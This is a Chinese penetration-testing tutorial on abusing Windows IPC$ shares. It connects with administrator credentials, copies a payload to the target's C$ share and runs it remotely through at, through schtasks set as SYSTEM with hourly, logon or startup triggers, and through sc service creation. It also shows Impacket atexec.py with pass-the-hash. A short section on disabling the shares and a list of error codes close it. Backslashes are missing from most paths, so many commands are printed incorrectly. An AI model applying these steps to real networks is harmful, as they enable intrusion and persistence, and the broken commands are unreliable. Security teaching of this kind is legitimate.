目錄
常見共享命令
IPC$
IPC$的利用條件
1:開啟了139、445端口
2:目標(biāo)主機(jī)開啟了IPC$共享
3:IPC連接報錯
IPC空連接
空連接可以做什么?(毫無作用)
IPC$非空連接
IPC$非空連接可以做什么?
dir命令(查看文件和目錄)
tasklist命令(查看進(jìn)程)
at命令(計(jì)劃命令,可反彈shell)
schtasks(計(jì)劃任務(wù))
Impacket中的atexec.py
關(guān)閉IPC$共享及其他共享
IPC$連接失敗的原因及常見錯誤號
連接失敗原因
常見錯誤號
常見共享命令
net use #查看本機(jī)建立的連接(本機(jī)連接其他機(jī)器)
net session #查看本機(jī)建立的連接(其他機(jī)器連接的本機(jī)),需要administrator用戶執(zhí)行
net share #查看本地開啟的共享
net share ipc$ #開啟ipc$共享
net share ipc$ /del #刪除ipc$共享
net share admin$ /del #刪除admin$共享
net share c$ /del #刪除C盤共享
net share d$ /del #刪除D盤共享
net use * /del #刪除所有連接
net use \192.168.10.15 #與192.168.10.15建立ipc空連接
net use \192.168.10.15ipc$ #與192.168.10.15建立ipc空連接
net use \192.168.10.15ipc$ /u:"" "" #與192.168.10.15建立ipc空連接
net view \192.168.10.15 #查看遠(yuǎn)程主機(jī)開啟的默認(rèn)共享
net use \192.168.10.15 /u:"administrator" "root" #以administrator身份與192.168.10.15建立ipc連接
net use \192.168.10.15 /del #刪除建立的ipc連接
net time \192.168.10.15 #查看該主機(jī)上的時間
net use \192.168.10.15c$ /u:"administrator" "root" #建立C盤共享
dir \192.168.10.15c$ #查看192.168.10.15C盤文件
dir \192.168.10.15c$user #查看192.168.10.15C盤文件下的user目錄
dir \192.168.10.15c$usertest.exe #查看192.168.10.15C盤文件下的user目錄下的test.exe文件
net use \192.168.10.15c$ /del #刪除該C盤共享連接
net use k: \192.168.10.15c$ /u:"administrator" "root" #將目標(biāo)C盤映射到本地K盤
net use k: /del #刪除該映射
IPC$
IPC$ (Internet Process Connection) 是共享“命名管道”的資源,它是為了讓進(jìn)程間通信而開放的命名管道,通過提供可信任的用戶名和口令,連接雙方可以建立安全的通道并以此通道進(jìn)行加密數(shù)據(jù)的交換,從而實(shí)現(xiàn)對遠(yuǎn)程計(jì)算機(jī)的訪問。IPC$是NT2000的一項(xiàng)新功能,它有一個特點(diǎn),即在同一時間內(nèi),兩個IP之間只允許建立一個連接。NT2000在提供了 IPC$ 共享功能的同時,在初次安裝系統(tǒng)時還打開了默認(rèn)共享,即所有的邏輯共享(C$、D$、E$……)和系統(tǒng)目錄共享(Admin$)。所有的這些初衷都是為了方便管理員的管理。但好的初衷并不一定有好的收效,一些別有用心者會利用IPC$,訪問共享資源,導(dǎo)出用戶列表,并使用一些字典工具,進(jìn)行密碼探測。
為了配合IPC共享工作,windows操作系統(tǒng)(不包括Windows 98系列)在安裝完成后,自動設(shè)置共享的目錄為:C盤、D盤、E盤、ADMIN目錄(C:Windows)等,即為ADMIN$、C$、D$、E$等,但要注意,這些共享是隱藏的,只有管理員能夠?qū)λ麄冞M(jìn)行遠(yuǎn)程操作。
輸入 net share 可以查看開啟的共享。
輸入 net share 可以查看開啟的共享。
所有的共享都依賴于139或445端口。
IPC$的利用條件
1:開啟了139、445端口
首先我們來了解一些基礎(chǔ)知識:
- SMB: (Server Message Block) Windows協(xié)議族,用于文件打印共享的服務(wù);
- NBT: (NETBIOS Over TCP/IP)使用137(UDP)138(UDP)139(TCP)端口實(shí)現(xiàn)基于TCP/IP協(xié)議的NETBIOS網(wǎng)絡(luò)互聯(lián)。
- 在WindowsNT中SMB基于NBT實(shí)現(xiàn),即使用139(TCP)端口;而在Windows2000中,SMB除了基于NBT實(shí)現(xiàn),還可以直接通過445端口實(shí)現(xiàn)
對于win2000客戶端(發(fā)起端)來說:
- 如果在允許NBT的情況下連接服務(wù)器時,客戶端會同時嘗試訪問139和445端口,如果445端口有響應(yīng),那么就發(fā)送RST包給139端口斷開連接,用455端口進(jìn)行會話,當(dāng)445端口無響應(yīng)時,才使用139端口,如果兩個端口都沒有響應(yīng),則會話失敗;
- 如果在禁止NBT的情況下連接服務(wù)器時,那么客戶端只會嘗試訪問445端口,如果445端口無響應(yīng),那么會話失敗。
對于win2000服務(wù)器端來說:
- 如果允許NBT, 那么UDP端口137, 138, TCP 端口 139, 445將開放(LISTENING);
- 如果禁止NBT,那么只有445端口開放。
我們建立的IPC會話對端口的選擇同樣遵守以上原則。顯而易見,如果遠(yuǎn)程服務(wù)器沒有監(jiān)聽或端口,會話對端口的選擇同樣遵守以上原則。顯而易見,如果遠(yuǎn)程服務(wù)器沒有監(jiān)聽139或445端口,IPC會話是無法建立的。
2:目標(biāo)主機(jī)開啟了IPC$共享
默認(rèn)共享是為了方便管理員進(jìn)行遠(yuǎn)程管理而默認(rèn)開啟的,包括所有的邏輯盤(C$、D$等)和系統(tǒng)目錄 winnt 或 windows(admin$)以及IPC$。這些共享默認(rèn)是開啟的。可以使用net share命令查看這些共享是否開啟。
3:IPC連接報錯
如果目標(biāo)主機(jī)沒有開放139或445端口,我們?nèi)ナ褂肐PC$連接的話,會提示找不到網(wǎng)絡(luò)名。
IPC空連接
在介紹空會話之前,我們有必要了解一下一個安全會話是如何建立的。在Windows NT中,是使用 NTLM挑戰(zhàn)響應(yīng)機(jī)制認(rèn)證。傳送門——> NTLM認(rèn)證方式(工作組環(huán)境中)
空會話是在沒有信任的情況下與服務(wù)器建立的會話(即未提供用戶名與密碼)。那么建立空會話到底可以做什么呢?
利用IPC$,黑客甚至可以與目標(biāo)主機(jī)建立一個空的連接,而無需用戶名與密碼(當(dāng)然,對方機(jī)器必須開了IPC$共享,否則你是連接不上的),而利用這個空的連接,連接者還可以得到目標(biāo)主機(jī)上的用戶列表(不過負(fù)責(zé)的管理員會禁止導(dǎo)出用戶列表的)。建立了一個空的連接后,黑客可以獲得不少的信息(而這些信息往往是入侵中必不可少的),訪問部分共享,如果黑客能夠以某一個具有一定權(quán)限的用戶身份登陸的話,那么就會得到相應(yīng)的權(quán)限。
建立IPC$空連接
建立IPC空連接
net use \192.168.10.15
或 net use \192.168.10.15 /u:"" ""
或 net use \192.168.10.15ipc$ /u:"" ""
空連接可以做什么?(毫無作用)
在Windows2003以后,空連接什么權(quán)限都沒有,也就是說并沒有太大實(shí)質(zhì)的用處。有些主機(jī)的 Administrator 管理員的密碼為空,那么我們可以嘗試使用下面的命令進(jìn)行連接,但是大多數(shù)情況下服務(wù)器都阻止了使用空密碼進(jìn)行連接。
以前建立空會話可以獲取一些有用的信息,但是現(xiàn)在空會話的權(quán)限很低,訪問都被拒了
IPC$非空連接
建立IPC$非空連接
net use \192.168.10.131 /u:"administrator" "密碼"
IPC$非空連接可以做什么?
- 使用管理員組內(nèi)用戶(administrator或其他管理員組內(nèi)用戶均可)建立IPC$連接,可以執(zhí)行以下所有命令。
- 使用普通用戶建立IPC$連接,僅能執(zhí)行查看時間命令:net time 192.168.10.131 ,其他命令均執(zhí)行不了。
dir命令(查看文件和目錄)
也可以直接在文件管理用命令:192.168.10.131c$ 查看對應(yīng)的文件及目錄,也可以增刪改查
tasklist命令(查看進(jìn)程)
tasklist /S 192.168.10.131 /U administrator -P 密碼
at命令(計(jì)劃命令,可反彈shell)
- 查看目標(biāo)系統(tǒng)時間:net time 192.168.10.131
- 將本目錄下的指定文件復(fù)制到目標(biāo)系統(tǒng)中:copy vps.exe 192.168.10.131c$
- 使用at創(chuàng)建計(jì)劃任務(wù):at 192.168.10.131 17:00:00 C:vps.exe
- 清除at記錄:at 192.168.10.131 作業(yè)ID /delete
- 使用at命令執(zhí)行,將執(zhí)行結(jié)果寫入本地文本文件,再使用type命令查看該文件的內(nèi)容:at 192.168.10.131 17:00:00 cmd.exe /c "ipconfig > C:/1.txt "
- 查看生成的1.txt文件:type 192.168.10.131C$1.txt
schtasks(計(jì)劃任務(wù))
Windows Vista、Windows Server 2008及之后版本的操作系統(tǒng)已經(jīng)棄用at命令,而轉(zhuǎn)為用schtasks命令。schtasks命令比 at 命令更靈活。在使用schtasks命令時,會在系統(tǒng)中留下日志文件:C:WindowsTasksSchedLgU.txt
在目標(biāo)主機(jī)上創(chuàng)建一個名為test的計(jì)劃任務(wù),啟動程序?yàn)镃:vps.exe,啟動權(quán)限為system,啟動時間為每隔一小時啟動一次
schtasks /create /s 192.168.10.131 /tn test /sc HOURLY /mo 1 /tr c:vps.exe /ru system /f
其他啟動時間參數(shù):
/sc onlogon 用戶登錄時啟動
/sc onstart 系統(tǒng)啟動時啟動
/sc onidle 系統(tǒng)空閑時啟動
查詢該test計(jì)劃任務(wù)
schtasks /query | findstr test
啟動該test計(jì)劃任務(wù)
schtasks /run /s 192.168.10.131 /i /tn "test"
刪除該test計(jì)劃任務(wù)
schtasks /delete /s 192.168.10.131 /tn "test" /f
sc命令創(chuàng)建計(jì)劃任務(wù)
copy test.exe \192.168.10.20c$
sc \192.168.10.20 create test binpath= "c:test.exe"
sc \192.168.10.20 start test
sc \192.168.10.20 del test
Impacket中的atexec.py
Impacket中的atexec.py腳本,就是利用定時任務(wù)獲取權(quán)限,該腳本的利用需要開啟ipc$共享。這個腳本僅工作Windows>=Vista的系統(tǒng)上。這個樣例能夠通過任務(wù)計(jì)劃服務(wù)(Task Scheduler)來在目標(biāo)主機(jī)上實(shí)現(xiàn)命令執(zhí)行,并返回命令執(zhí)行后的輸出結(jié)果 。
./atexec.py xie/hack:x123456./@192.168.10.130 whoami
./atexec.py xie/hack:@192.168.10.130 whoami -hashes aada8eda23213c027743e6c498d751aa:b98e75b5ff7a3d3ff05e07f211ebe7a8
關(guān)閉IPC$共享及其他共享
既然ipc$有一定的危險性,而且對于我們大多數(shù)人來說是沒啥用的,所以我們執(zhí)行以下命令關(guān)閉共享
1、使用命令關(guān)閉:
net share ipc$ /delete 關(guān)閉ipc默認(rèn)共享
net share c$ /delete 關(guān)閉C盤默認(rèn)共享
net share admin$ /delete 關(guān)閉admin$默認(rèn)共享
2、修改注冊表關(guān)閉
限制IPC$缺省共享:
- HKEY_LOCAL_macHINE/SYSTEM/CurrentControlSet/Control/Lsa
- Name:restrictanonymous
- Type:REG_Dword
- Value:0x0(缺省) 0x1 匿名用戶無法列舉本機(jī)用戶列表 0x2 匿名用戶無法連接本機(jī)IPC$共享 說明:不建議使用2,否則可能會造成你的一些服務(wù)無法啟動,如SQL Server。
IPC$連接失敗的原因及常見錯誤號
連接失敗原因
- 用戶名或密碼錯誤
- 目標(biāo)主機(jī)沒有開啟IPC$共享
- 不能成功連接目標(biāo)主機(jī)的139、445端口
- 命令輸入錯誤
常見錯誤號
- 錯誤號5:拒絕訪問
- 錯誤號51:Windows無法找到網(wǎng)絡(luò)路徑,及網(wǎng)絡(luò)中存在問題
- 錯誤號53:找不到網(wǎng)絡(luò)路徑,包括IP地址錯誤、目標(biāo)未開機(jī)、目標(biāo)的lanmanserver服務(wù)未啟動,目標(biāo)防火墻過濾了端口
- 錯誤號67:找不到網(wǎng)絡(luò)名,包括 lanmanworkstation 服務(wù)未啟動,IPC$已被刪除
- 錯誤號1219:提供的憑據(jù)與已存在的憑據(jù)集沖突。例如已經(jīng)和目標(biāo)建立了IPC$連接,需要在刪除后重新連接
- 錯誤號1326:未知的用戶名或錯誤的密碼
- 錯誤號1792:試圖登錄,但是網(wǎng)絡(luò)登錄服務(wù)沒有啟動,包括目標(biāo)NetLogon服務(wù)未啟動(連接域控制器時會出現(xiàn)此情況)
- 錯誤號2242:此用戶的密碼已經(jīng)過期。
版權(quán)申明:內(nèi)容來源網(wǎng)絡(luò),版權(quán)歸原創(chuàng)者所有。除非無法確認(rèn),我們都會標(biāo)明作者及出處,如有侵權(quán)煩請告知,我們會立即刪除并表示歉意。謝謝!